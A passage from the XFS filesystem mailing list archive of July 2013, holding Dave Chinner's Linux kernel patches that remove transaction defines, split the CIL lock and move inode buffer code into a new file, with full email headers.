XFS_TRANS_REMOVE 7 -#define XFS_TRANS_LINK 8 -#define XFS_TRANS_RENAME 9 -#define XFS_TRANS_MKDIR 10 -#define XFS_TRANS_RMDIR 11 -#define XFS_TRANS_SYMLINK 12 -#define XFS_TRANS_SET_DMATTRS 13 -#define XFS_TRANS_GROWFS 14 -#define XFS_TRANS_STRAT_WRITE 15 -#define XFS_TRANS_DIOSTRAT 16 -/* 17 was XFS_TRANS_WRITE_SYNC */ -#define XFS_TRANS_WRITEID 18 -#define XFS_TRANS_ADDAFORK 19 -#define XFS_TRANS_ATTRINVAL 20 -#define XFS_TRANS_ATRUNCATE 21 -#define XFS_TRANS_ATTR_SET 22 -#define XFS_TRANS_ATTR_RM 23 -#define XFS_TRANS_ATTR_FLAG 24 -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 -#define XFS_TRANS_QM_SBCHANGE 26 -/* - * Dummy entries since we use the transaction type to index into the - * trans_type[] in xlog_recover_print_trans_head() - */ -#define XFS_TRANS_DUMMY1 27 -#define XFS_TRANS_DUMMY2 28 -#define XFS_TRANS_QM_QUOTAOFF 29 -#define XFS_TRANS_QM_DQALLOC 30 -#define XFS_TRANS_QM_SETQLIM 31 -#define XFS_TRANS_QM_DQCLUSTER 32 -#define XFS_TRANS_QM_QINOCREATE 33 -#define XFS_TRANS_QM_QUOTAOFF_END 34 -#define XFS_TRANS_SB_UNIT 35 -#define XFS_TRANS_FSYNC_TS 36 -#define XFS_TRANS_GROWFSRT_ALLOC 37 -#define XFS_TRANS_GROWFSRT_ZERO 38 -#define XFS_TRANS_GROWFSRT_FREE 39 -#define XFS_TRANS_SWAPEXT 40 -#define XFS_TRANS_SB_COUNT 41 -#define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 -/* new transaction types need to be reflected in xfs_logprint(8) */ - -#define XFS_TRANS_TYPES \ - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ - { XFS_TRANS_CREATE, "CREATE" }, \ - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ - { XFS_TRANS_REMOVE, "REMOVE" }, \ - { XFS_TRANS_LINK, "LINK" }, \ - { XFS_TRANS_RENAME, "RENAME" }, \ - { XFS_TRANS_MKDIR, "MKDIR" }, \ - { XFS_TRANS_RMDIR, "RMDIR" }, \ - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ - { XFS_TRANS_GROWFS, "GROWFS" }, \ - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ - { XFS_TRANS_WRITEID, "WRITEID" }, \ - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ - { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } - -/* - * This structure is used to track log items associated with - * a transaction. It points to the log item and keeps some - * flags to track the state of the log item. It also tracks - * the amount of space needed to log the item it describes - * once we get to commit processing (see xfs_trans_commit()). - */ -struct xfs_log_item_desc { - struct xfs_log_item *lid_item; - struct list_head lid_trans; - unsigned char lid_flags; -}; - -#define XFS_LID_DIRTY 0x1 - -#define XFS_TRANS_MAGIC 0x5452414E /* 'TRAN' */ -/* - * Values for t_flags. - */ -#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ -#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ -#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ -#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ -#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ -#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ -#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer - count in superblock */ - -/* - * Values for call flags parameter. - */ -#define XFS_TRANS_RELEASE_LOG_RES 0x4 -#define XFS_TRANS_ABORT 0x8 - -/* - * Field values for xfs_trans_mod_sb. - */ -#define XFS_TRANS_SB_ICOUNT 0x00000001 -#define XFS_TRANS_SB_IFREE 0x00000002 -#define XFS_TRANS_SB_FDBLOCKS 0x00000004 -#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 -#define XFS_TRANS_SB_FREXTENTS 0x00000010 -#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 -#define XFS_TRANS_SB_DBLOCKS 0x00000040 -#define XFS_TRANS_SB_AGCOUNT 0x00000080 -#define XFS_TRANS_SB_IMAXPCT 0x00000100 -#define XFS_TRANS_SB_REXTSIZE 0x00000200 -#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 -#define XFS_TRANS_SB_RBLOCKS 0x00000800 -#define XFS_TRANS_SB_REXTENTS 0x00001000 -#define XFS_TRANS_SB_REXTSLOG 0x00002000 - - -/* * Per-extent log reservation for the allocation btree changes * involved in freeing or allocating an extent. * 2 trees * (2 blocks/level * max depth - 1) @@ -282,22 +93,6 @@ struct xfs_log_item_desc { #define XFS_ATTRSET_LOG_COUNT 3 #define XFS_ATTRRM_LOG_COUNT 3 -/* - * Here we centralize the specification of XFS meta-data buffer - * reference count values. This determine how hard the buffer - * cache tries to hold onto the buffer. - */ -#define XFS_AGF_REF 4 -#define XFS_AGI_REF 4 -#define XFS_AGFL_REF 3 -#define XFS_INO_BTREE_REF 3 -#define XFS_ALLOC_BTREE_REF 2 -#define XFS_BMAP_BTREE_REF 2 -#define XFS_DIR_BTREE_REF 2 -#define XFS_INO_REF 2 -#define XFS_ATTR_BTREE_REF 1 -#define XFS_DQUOT_REF 1 - #ifdef __KERNEL__ struct xfs_buf; -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A41D7FC7 for ; Fri, 19 Jul 2013 01:26:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id EF525304043 for ; Thu, 18 Jul 2013 23:26:03 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030010-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WhZiyvgACLCMXM4m for ; Thu, 18 Jul 2013 23:26:02 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZHodxti+OZwuFIAOUBpUkgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:57 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048U-Hj for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00020u-FP for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 47/49] xfs: split the CIL lock Date: Fri, 19 Jul 2013 16:25:18 +1000 X-ASG-Orig-Subj: [PATCH 47/49] xfs: split the CIL lock Message-Id: <1374215120-7271-48-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215161 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The xc_cil_lock is used for two purposes - to protect the CIL itself, and to protect the push/commit state and lists. These are two logically separate structures and operations, so can have their own locks. This means that pushing on the CIL and the commit wait ordering won't contend for a lock with other transactions that are completing concurrently. As the CIL insertion is the hottest path throught eh CIL, this is a big win. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 41 +++++++++++++++++++++-------------------- fs/xfs/xfs_log_priv.h | 9 ++++++--- 2 files changed, 27 insertions(+), 23 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 391cb011..ecc2402 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -398,9 +398,9 @@ xlog_cil_committed( xfs_extent_busy_clear(mp, &ctx->busy_extents, (mp->m_flags & XFS_MOUNT_DISCARD) && !abort); - spin_lock(&ctx->cil->xc_cil_lock); + spin_lock(&ctx->cil->xc_push_lock); list_del(&ctx->committing); - spin_unlock(&ctx->cil->xc_cil_lock); + spin_unlock(&ctx->cil->xc_push_lock); xlog_cil_free_logvec(ctx->lv_chain); @@ -455,7 +455,7 @@ xlog_cil_push( down_write(&cil->xc_ctx_lock); ctx = cil->xc_ctx; - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); push_seq = cil->xc_push_seq; ASSERT(push_seq <= ctx->sequence); @@ -466,10 +466,10 @@ xlog_cil_push( */ if (list_empty(&cil->xc_cil)) { cil->xc_push_seq = 0; - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); goto out_skip; } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* check for a previously pushed seqeunce */ @@ -537,9 +537,9 @@ xlog_cil_push( * that higher sequences will wait for us to write out a commit record * before they do. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_add(&ctx->committing, &cil->xc_committing); - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); up_write(&cil->xc_ctx_lock); /* @@ -574,7 +574,7 @@ xlog_cil_push( * order the commit records so replay will get them in the right order. */ restart: - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_for_each_entry(new_ctx, &cil->xc_committing, committing) { /* * Higher sequences will wait for this one so skip them. @@ -587,11 +587,11 @@ restart: * It is still being pushed! Wait for the push to * complete, then start again from the beginning. */ - xlog_wait(&cil->xc_commit_wait, &cil->xc_cil_lock); + xlog_wait(&cil->xc_commit_wait, &cil->xc_push_lock); goto restart; } } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* xfs_log_done always frees the ticket on error. */ commit_lsn = xfs_log_done(log->l_mp, tic, &commit_iclog, 0); @@ -610,10 +610,10 @@ restart: * callbacks to the iclog we can assign the commit LSN to the context * and wake up anyone who is waiting for the commit to complete. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); ctx->commit_lsn = commit_lsn; wake_up_all(&cil->xc_commit_wait); - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* release the hounds! */ return xfs_log_release_iclog(log->l_mp, commit_iclog); @@ -666,12 +666,12 @@ xlog_cil_push_background( if (cil->xc_ctx->space_used < XLOG_CIL_SPACE_LIMIT(log)) return; - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); if (cil->xc_push_seq < cil->xc_current_sequence) { cil->xc_push_seq = cil->xc_current_sequence; queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); } @@ -694,14 +694,14 @@ xlog_cil_push_foreground( * If the CIL is empty or we've already pushed the sequence then * there's no work we need to do. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); if (list_empty(&cil->xc_cil) || push_seq <= cil->xc_push_seq) { - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); return; } cil->xc_push_seq = push_seq; - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* do the push now */ xlog_cil_push(log); @@ -804,7 +804,7 @@ xlog_cil_force_lsn( * on commits for those as well. */ restart: - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_for_each_entry(ctx, &cil->xc_committing, committing) { if (ctx->sequence > sequence) continue; @@ -813,7 +813,7 @@ restart: * It is still being pushed! Wait for the push to * complete, then start again from the beginning. */ - xlog_wait(&cil->xc_commit_wait, &cil->xc_cil_lock); + xlog_wait(&cil->xc_commit_wait, &cil->xc_push_lock); goto restart; } if (ctx->sequence != sequence) @@ -821,7 +821,7 @@ restart: /* found it! */ commit_lsn = ctx->commit_lsn; } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); return commit_lsn; } @@ -879,6 +879,7 @@ xlog_cil_init( INIT_LIST_HEAD(&cil->xc_cil); INIT_LIST_HEAD(&cil->xc_committing); spin_lock_init(&cil->xc_cil_lock); + spin_lock_init(&cil->xc_push_lock); init_rwsem(&cil->xc_ctx_lock); init_waitqueue_head(&cil->xc_commit_wait); diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index edd0964..136654b 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -278,14 +278,17 @@ struct xfs_cil { struct xlog *xc_log; struct list_head xc_cil; spinlock_t xc_cil_lock; + + struct rw_semaphore xc_ctx_lock ____cacheline_aligned_in_smp; struct xfs_cil_ctx *xc_ctx; - struct rw_semaphore xc_ctx_lock; + + spinlock_t xc_push_lock ____cacheline_aligned_in_smp; + xfs_lsn_t xc_push_seq; struct list_head xc_committing; wait_queue_head_t xc_commit_wait; xfs_lsn_t xc_current_sequence; struct work_struct xc_push_work; - xfs_lsn_t xc_push_seq; -}; +} ____cacheline_aligned_in_smp; /* * The amount of log space we allow the CIL to aggregate is difficult to size. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 54A837FD0 for ; Fri, 19 Jul 2013 01:26:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BBB8EAC00E for ; Thu, 18 Jul 2013 23:26:01 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id SSE29etDw5jP4AIg for ; Thu, 18 Jul 2013 23:25:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8LAB3b6FF5LK4r/2dsb2JhbABSCIMGrjqTDAQBgRUXdIIkAQEFGgEMLzMIGDE5AxsZiA+2L45ZGYEShA4DoX+HK4MkKoEuJA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000489-PB for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xk-OK for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations Date: Fri, 19 Jul 2013 16:24:45 +1000 X-ASG-Orig-Subj: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations Message-Id: <1374215120-7271-15-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215157 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The only thing remaining in xfs_inode.[ch] are the operations that read, write or verify physical inodes in their underlying buffers. Move all this code to xfs_inode_buf.[ch] and so we can stop sharing xfs_inode.[ch] with userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_inode.c | 413 --------------------------------------------- fs/xfs/xfs_inode.h | 41 +---- fs/xfs/xfs_inode_buf.c | 444 +++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_inode_buf.h | 53 ++++++ 5 files changed, 505 insertions(+), 447 deletions(-) create mode 100644 fs/xfs/xfs_inode_buf.c create mode 100644 fs/xfs/xfs_inode_buf.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index ce0b87e..7f2319d 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -75,6 +75,7 @@ xfs-y += xfs_alloc.o \ xfs_icreate_item.o \ xfs_inode.o \ xfs_inode_fork.o \ + xfs_inode_buf.o \ xfs_log_recover.o \ xfs_mount.o \ xfs_symlink.o \ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 51e4eb2..cf35d86 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -322,234 +322,6 @@ __xfs_iflock( finish_wait(wq, &wait.wait); } -/* - * Check that none of the inode's in the buffer have a next - * unlinked field of 0. - */ -#if defined(DEBUG) -void -xfs_inobp_check( - xfs_mount_t *mp, - xfs_buf_t *bp) -{ - int i; - int j; - xfs_dinode_t *dip; - - j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; - - for (i = 0; i < j; i++) { - dip = (xfs_dinode_t *)xfs_buf_offset(bp, - i * mp->m_sb.sb_inodesize); - if (!dip->di_next_unlinked) { - xfs_alert(mp, - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", - bp); - ASSERT(dip->di_next_unlinked); - } - } -} -#endif - -static void -xfs_inode_buf_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - int i; - int ni; - - /* - * Validate the magic number and version of every inode in the buffer - */ - ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; - for (i = 0; i < ni; i++) { - int di_ok; - xfs_dinode_t *dip; - - dip = (struct xfs_dinode *)xfs_buf_offset(bp, - (i << mp->m_sb.sb_inodelog)); - di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && - XFS_DINODE_GOOD_VERSION(dip->di_version); - if (unlikely(XFS_TEST_ERROR(!di_ok, mp, - XFS_ERRTAG_ITOBP_INOTOBP, - XFS_RANDOM_ITOBP_INOTOBP))) { - xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); -#ifdef DEBUG - xfs_emerg(mp, - "bad inode magic/vsn daddr %lld #%d (magic=%x)", - (unsigned long long)bp->b_bn, i, - be16_to_cpu(dip->di_magic)); - ASSERT(0); -#endif - } - } - xfs_inobp_check(mp, bp); -} - - -static void -xfs_inode_buf_read_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -static void -xfs_inode_buf_write_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -const struct xfs_buf_ops xfs_inode_buf_ops = { - .verify_read = xfs_inode_buf_read_verify, - .verify_write = xfs_inode_buf_write_verify, -}; - - -/* - * This routine is called to map an inode to the buffer containing the on-disk - * version of the inode. It returns a pointer to the buffer containing the - * on-disk inode in the bpp parameter, and in the dipp parameter it returns a - * pointer to the on-disk inode within that buffer. - * - * If a non-zero error is returned, then the contents of bpp and dipp are - * undefined. - */ -int -xfs_imap_to_bp( - struct xfs_mount *mp, - struct xfs_trans *tp, - struct xfs_imap *imap, - struct xfs_dinode **dipp, - struct xfs_buf **bpp, - uint buf_flags, - uint iget_flags) -{ - struct xfs_buf *bp; - int error; - - buf_flags |= XBF_UNMAPPED; - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, - (int)imap->im_len, buf_flags, &bp, - &xfs_inode_buf_ops); - if (error) { - if (error == EAGAIN) { - ASSERT(buf_flags & XBF_TRYLOCK); - return error; - } - - if (error == EFSCORRUPTED && - (iget_flags & XFS_IGET_UNTRUSTED)) - return XFS_ERROR(EINVAL); - - xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", - __func__, error); - return error; - } - - *bpp = bp; - *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); - return 0; -} - -STATIC void -xfs_dinode_from_disk( - xfs_icdinode_t *to, - xfs_dinode_t *from) -{ - to->di_magic = be16_to_cpu(from->di_magic); - to->di_mode = be16_to_cpu(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = be16_to_cpu(from->di_onlink); - to->di_uid = be32_to_cpu(from->di_uid); - to->di_gid = be32_to_cpu(from->di_gid); - to->di_nlink = be32_to_cpu(from->di_nlink); - to->di_projid_lo = be16_to_cpu(from->di_projid_lo); - to->di_projid_hi = be16_to_cpu(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = be16_to_cpu(from->di_flushiter); - to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); - to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); - to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); - to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); - to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); - to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); - to->di_size = be64_to_cpu(from->di_size); - to->di_nblocks = be64_to_cpu(from->di_nblocks); - to->di_extsize = be32_to_cpu(from->di_extsize); - to->di_nextents = be32_to_cpu(from->di_nextents); - to->di_anextents = be16_to_cpu(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = be32_to_cpu(from->di_dmevmask); - to->di_dmstate = be16_to_cpu(from->di_dmstate); - to->di_flags = be16_to_cpu(from->di_flags); - to->di_gen = be32_to_cpu(from->di_gen); - - if (to->di_version == 3) { - to->di_changecount = be64_to_cpu(from->di_changecount); - to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); - to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); - to->di_flags2 = be64_to_cpu(from->di_flags2); - to->di_ino = be64_to_cpu(from->di_ino); - to->di_lsn = be64_to_cpu(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - -void -xfs_dinode_to_disk( - xfs_dinode_t *to, - xfs_icdinode_t *from) -{ - to->di_magic = cpu_to_be16(from->di_magic); - to->di_mode = cpu_to_be16(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = cpu_to_be16(from->di_onlink); - to->di_uid = cpu_to_be32(from->di_uid); - to->di_gid = cpu_to_be32(from->di_gid); - to->di_nlink = cpu_to_be32(from->di_nlink); - to->di_projid_lo = cpu_to_be16(from->di_projid_lo); - to->di_projid_hi = cpu_to_be16(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); - to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); - to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); - to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); - to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); - to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); - to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); - to->di_size = cpu_to_be64(from->di_size); - to->di_nblocks = cpu_to_be64(from->di_nblocks); - to->di_extsize = cpu_to_be32(from->di_extsize); - to->di_nextents = cpu_to_be32(from->di_nextents); - to->di_anextents = cpu_to_be16(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = cpu_to_be32(from->di_dmevmask); - to->di_dmstate = cpu_to_be16(from->di_dmstate); - to->di_flags = cpu_to_be16(from->di_flags); - to->di_gen = cpu_to_be32(from->di_gen); - - if (from->di_version == 3) { - to->di_changecount = cpu_to_be64(from->di_changecount); - to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); - to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); - to->di_flags2 = cpu_to_be64(from->di_flags2); - to->di_ino = cpu_to_be64(from->di_ino); - to->di_lsn = cpu_to_be64(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - STATIC uint _xfs_dic2xflags( __uint16_t di_flags) @@ -608,191 +380,6 @@ xfs_dic2xflags( (XFS_DFORK_Q(dip) ? XFS_XFLAG_HASATTR : 0); } -static bool -xfs_dinode_verify( - struct xfs_mount *mp, - struct xfs_inode *ip, - struct xfs_dinode *dip) -{ - if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) - return false; - - /* only version 3 or greater inodes are extensively verified here */ - if (dip->di_version < 3) - return true; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) - return false; - if (be64_to_cpu(dip->di_ino) != ip->i_ino) - return false; - if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) - return false; - return true; -} - -void -xfs_dinode_calc_crc( - struct xfs_mount *mp, - struct xfs_dinode *dip) -{ - __uint32_t crc; - - if (dip->di_version < 3) - return; - - ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); - crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); - dip->di_crc = 